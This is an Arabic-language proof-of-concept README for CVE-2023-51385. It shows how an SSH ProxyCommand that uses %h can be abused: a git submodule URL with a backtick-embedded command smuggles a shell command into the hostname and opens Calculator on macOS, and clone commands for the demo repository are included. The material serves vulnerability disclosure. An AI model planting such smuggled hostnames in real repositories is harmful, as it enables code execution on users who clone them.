
إثبات المفهوم لاستغلال إعدادات proxycommand الضعيفة على عملاء ssh (CVE-2023-51385)
~/.ssh/config غير الآمنيُعد استخدام الرموز المميزة مثل %h و %p في ProxyCommand شائعًا جدًا لاستخدام الأنفاق وبروكسي الاتصالات عبر SSH.
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
ملاحظة: في تقييمي الأولي كنت أعتقد أن استخدام '%h (علامات الاقتباس المفردة) قد يتجنب ذلك، لكن يبدو أنه لا يزال قابلاً للاستغلال بشيء مثل:
url = ssh://'`open -aCalculator`'foo.example.com/bar
مأخوذ من: https://man.openbsd.org/ssh_config#ProxyCommand
وحدة فرعية تستغل هذه الثغرة لإظهار آلة حاسبة على نظام OSX.
جرّب ذلك باستخدام:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
أو
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules